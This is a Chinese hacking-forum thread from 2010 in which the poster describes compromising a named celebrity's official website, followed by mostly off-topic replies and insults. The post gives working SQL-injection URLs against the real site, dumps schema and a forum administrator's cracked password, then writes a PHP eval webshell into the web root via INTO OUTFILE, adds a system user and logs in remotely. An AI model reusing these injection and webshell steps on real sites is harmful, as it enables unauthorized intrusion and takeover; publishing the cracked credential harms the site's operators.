检测周杰伦官方网站

社区服务
高级搜索
猴岛论坛电脑百科检测周杰伦官方网站
发帖 回复
倒序阅读 最近浏览的帖子最近浏览的版块
21个回复

检测周杰伦官方网站

楼层直达
不懂也不知道

ZxID:10586231

等级: 禁止发言

举报 只看楼主 使用道具 楼主   发表于: 2010-07-24 0
检测周杰伦官方网站
    有朋友丢出一个jay官方网站的注入点,闲着无聊就测试了下。没想到最后轻松的得到了系统权限。在取得webshell过程中遇到点困难,也学到了一点东西。
看注射点,老规矩,先提交个单引号,返回错误提示是
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
这个提示是很有玄机的,可以看到单引号没有转意,也就是说安全模式没有打开,这为我们后文得到webshell提供了机会。
    下面猜字段吧,体力活的说
http://www.jay2u.com/jaynews/ind ... 0union%20select%201,2,3,4

很轻松的猜出是四个字段。然后还是按部就班的看用户和权限
http://www.jay2u.com/jaynews/ind ... 0union%20select%201,2,3,version()
http://www.jay2u.com/jaynews/ind ... 0union%20select%201,2,3,user()
Oh yeah!!是mysql5的root权限,看到这里我觉得服务器拿下应该问题不大了。
和mssql、oracle、db2等数据库一样,mysql5提供了一个系统数据库:information_schema
在这个数据库里我们可以得到很多信息,包括当前用户权限、当前用户权限下可以访问的数据库、表、列名,因此在sql注射中,导致直接暴区数据库,表列名
开始操作,提交
http://www.jay2u.com/jaynews/ind ... 0union%20select%201,TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME%20%20from%20information_schema.STATISTICS/*
貌似没有出现想象中的效果
提示
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
看来是union 前后字符集不搭配,只好编码一下了,提交
http://www.jay2u.com/jaynews/ind ... 0union%20select%201,hex(TABLE_SCHEMA),hex(TABLE_NAME),hex(COLUMN_NAME)%20%20from%20information_schema.STATISTICS/*
这次正常了,连上我自己的mysql,将16进制的编码还原
upload=2]
mysql> select 0x6A6179776562;
+----------------+
| 0x6A6179776562 |
+----------------+
| jayweb        |
+----------------+
1 row in set (0.00 sec)
mysql> select 0x41646D696E5F4964;
+--------------------+
| 0x41646D696E5F4964 |
+--------------------+
| Admin_Id          |
+--------------------+
1 row in set (0.00 sec)
mysql> select 0x61646D696E;
+--------------+
| 0x61646D696E |
+--------------+
| admin        |
+--------------+
1 row in set (0.00 sec)
这里表名出来了,是admin,但是没有暴出密码字段名,我们可以通过使用limit语法逐个表和字段查询,但是数据库很多表的话,不晓得什么时候才能摸清楚。刚好网站上有个phpbb的论坛,还是通过跨库查论坛数据库吧。
看了下,管理员有一个admin一个webmater,看样子webmater比较活跃,就查他的密码了。
提交
http://www.jay2u.com/jaynews/ind ... 0union%20select%201,2,username,user_password%20%20from%20phpbb_users%20where%20user_id=66333
www.cmd5.com上查询出来密码是 :042990
登陆后台去参观下吧 :)
   
在后台琢磨了半天,尝试了添加上传类型等办法都没能得到webshell,难道只能渗透到这个程度吗?
喝杯水冷静了下,想起来我已经知道它的安全模式是关闭的而且我们有足够的权限,这意味着什么?嘿嘿,只要知道路径就能通过注射导出一个webshell。现在的问题就是得到路径了,利用uploadpic.php中getimagesize()函数的小bug,先在后台添加上传类型 text/asa,然后到前台传图片的地方传个asa文件,这个函数无法读取起大小,暴出错误时泄露了绝对路径
下面最辉煌的时刻终于要到来了,构造导出webshell的语句
http://www.jay2u.com/jaynews/ind ... 0union%20select%201,2,'<?eval($_POST[cmd])?>',4%20from%20mysql.user%20into%20outfile%20'D:\\website\\jayweb\\forum\\userpix\\cnsst.php'/*
成功了!!
用客户端连上,传了个大马
由于编码问题看着有点乱,一样使用,执行命令看看


好象服务器的php是系统权限的,添加了一个用户
连上3389参观下闪人


本帖de评分: 1 条评分 DB +10
DB+10

感谢分享

丿Sky灬︱齊

ZxID:12475775

等级: 上尉
其身正,不令而行;其身不正,虽令不从
举报 只看该作者 沙发   发表于: 2010-07-24 0
莪.抬起头。 - \ 嘴角⒊0°度徳微笑 砸你一票咯~~顺便也帮我砸· HOH。。·(*^__^*) 嘻嘻沙发沙发我爱你……
不懂也不知道

ZxID:10586231

等级: 禁止发言

举报 只看该作者 板凳   发表于: 2010-07-24 0
JAY这个 B  人
我记得上次地震 他捐款
记者问他为什么捐5W那么少
他说他不是中国人 捐5W算多了
这个鸟 B 人 一起BS
 点点

ZxID:11131324

等级: 元帅
配偶: 光。

举报 只看该作者 地板   发表于: 2010-07-24 0
什么什么

楼主留言:

无意义回复

mu

ZxID:6438237

等级: 中将
我是坏人

举报 只看该作者 4楼  发表于: 2010-07-24 0
看不懂。 没心思看。 正在整签名
不懂也不知道

ZxID:10586231

等级: 禁止发言

举报 只看该作者 5楼  发表于: 2010-07-24 0
爷搞死他 
爷 R 死他
壞`尛孩灬

ZxID:12687196

等级: 上校
举报 只看该作者 6楼  发表于: 2010-07-24 0
不发表评论....  
浮沉浪似人潮

ZxID:4770918

等级: 大元帅
正义的朋友邪恶的伙伴
举报 只看该作者 7楼  发表于: 2010-07-24 0
楼主你言之有错

5万也不是一个小数目

要知道了。  台湾都把历史修改了三大部分

台湾史  中国史      世界史


I7 6700
GA-B150M-Power 2
GV-N1080 XTREME
SSD 840 EVO(500GB)+WD黑碟1TB
376624231

ZxID:6232413

等级: 上校
有梦想才有目标,有目标才有未来…
举报 只看该作者 8楼  发表于: 2010-07-24 0
路过看看
http://s8.hk/2jgt
jiejie.520

ZxID:10562898

等级: 上尉
盗我头像木小JJ,生个女儿米套套!
举报 只看该作者 9楼  发表于: 2010-07-24 0
比天书还难看!!  


我是小小的小七

ZxID:3643286

等级: 上将
1.5无限出改名卡。

举报 只看该作者 10楼  发表于: 2010-07-24 0
比天书还难看!!
5折出联通话费30。1.5r出改名卡
依賴ˉ

ZxID:7784764

等级: 上将

举报 只看该作者 11楼  发表于: 2010-07-24 0
不错哦
普会-热会-普会-热会-实习-热会-贵宾-记者团-贵宾-实习版主-普会-禁言
人生结束了
寂寞.烟蒂

ZxID:3989841

等级: 上校
寂寞.烟蒂
举报 只看该作者 12楼  发表于: 2010-07-24 0
主要是什么意思呢  我是小菜看不懂
哎呦,不错哦!
华丽的一射

ZxID:11409403

等级: 中将
���长江后浪推前
举报 只看该作者 13楼  发表于: 2010-07-24 0
没看懂

猴岛guest

ZxID:8102530

等级: 中校
举报 只看该作者 14楼  发表于: 2010-07-24 0
你个脑残 来看看这个帖子!

http://apps.hi.baidu.com/share/detail/4745160

楼主留言:

你木有JJ
盗头像



未謝幕德、戲

ZxID:10071893

等级: 上校
听, 那歌声 如此动听 ---

举报 只看该作者 15楼  发表于: 2010-07-24 0
讨厌周杰伦
小时候可帅啦丶

ZxID:11348797

等级: 禁止发言

举报 只看该作者 16楼  发表于: 2010-07-24 0
你很不错拿到了服务器。
路过的king

ZxID:10789807

等级: 元帅
Eva 永远的神作

举报 只看该作者 17楼  发表于: 2010-07-24 0
看不懂

Me、Too

ZxID:5901231

等级: 大元帅

举报 只看该作者 18楼  发表于: 2010-07-24 0
什么?


▓尕鉆、狠羙

ZxID:8478792

等级: 中尉
如果有一千个人从我身边走过。我也可以听出你的脚步声。因为有9
举报 只看该作者 19楼  发表于: 2010-07-24 0
看不懂。
因为有999个是踏在地上。只有你踏在我的心上...
« 返回列表
发帖 回复